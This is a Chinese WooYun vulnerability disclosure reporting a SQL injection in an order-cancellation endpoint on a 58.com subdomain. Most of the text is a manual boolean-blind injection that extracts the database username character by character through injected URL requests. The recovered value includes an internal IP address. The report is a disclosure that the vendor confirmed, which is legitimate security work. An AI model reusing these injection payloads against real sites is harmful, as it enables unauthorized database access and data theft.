漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0134916
漏洞标题：58同城某分站存在SQL注入
相关厂商：58同城
漏洞作者： getshell1993
提交时间：2015-08-18 07:55
修复时间：2015-10-03 11:36
公开时间：2015-10-03 11:36
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-19： 厂商已经确认，细节仅向厂商公开
2015-08-29： 细节向核心白帽子及相关领域专家公开
2015-09-08： 细节向普通白帽子公开
2015-09-18： 细节向实习白帽子公开
2015-10-03： 细节向公众公开
简要描述：
一步两步，是魔鬼的步伐，摩擦摩擦~
详细说明：
注入点
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560
工具跑不出来 只能手工了
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 and (select length(user())=28)
查询一下当前用户长度 28位
漏洞证明：
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),1,1)))>100 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),1,1)))>101
e
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),2,1)))>108 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),2,1)))>109
m
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),3,1)))>98 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),3,1)))>99
c
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),4,1)))>107 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),4,1)))>108
l
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),5,1)))>110 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),5,1)))>111
o
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),6,1)))>115 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),6,1)))>116
t
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),7,1)))>115 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),7,1)))>116
t
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),8,1)))>100 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),8,1)))>101
e
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),9,1)))>113 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),9,1)))>114
r
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),10,1)))>120 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),10,1)))>121
y
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),11,1)))>94 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),11,1)))>95
_
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),12,1)))>113 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),12,1)))>114
r
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),13,1)))>118 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),13,1)))>119
w
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),14,1)))>94 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),14,1)))>95
_
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),15,1)))>99 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),15,1)))>100
d
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),16,1)))>105 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),16,1)))>106
j
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),17,1)))>63 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),17,1)))>64
@
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),18,1)))>48 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),18,1)))>49
1
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),19,1)))>47 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),19,1)))>48
0
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),20,1)))>45 ture
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),20,1)))>46
.
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),21,1)))>56 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),21,1)))>57
9
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),22,1)))>45 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),22,1)))>46
.
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),23,1)))>49 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),23,1)))>50
2
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),24,1)))>47 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),24,1)))>48
0
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),25,1)))>45 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),25,1)))>46
.
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),26,1)))>48 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),26,1)))>49
1
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),27,1)))>49 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),27,1)))>50
2
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),28,1)))>48 true
http://t.jzt.58.com/weixinorder/cancelorder?orderid=633276032211906560 And (select ASCII(SUBSTR(user(),28,1)))>49
1
用户 emclottery_rw_dj@10.9.20.121
修复方案：
过滤
版权声明：转载请注明来源 getshell1993@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2015-08-19 11:35
厂商回复：
确认漏洞存在，感谢提交。洞主很有耐心，很赞！
最新状态：
暂无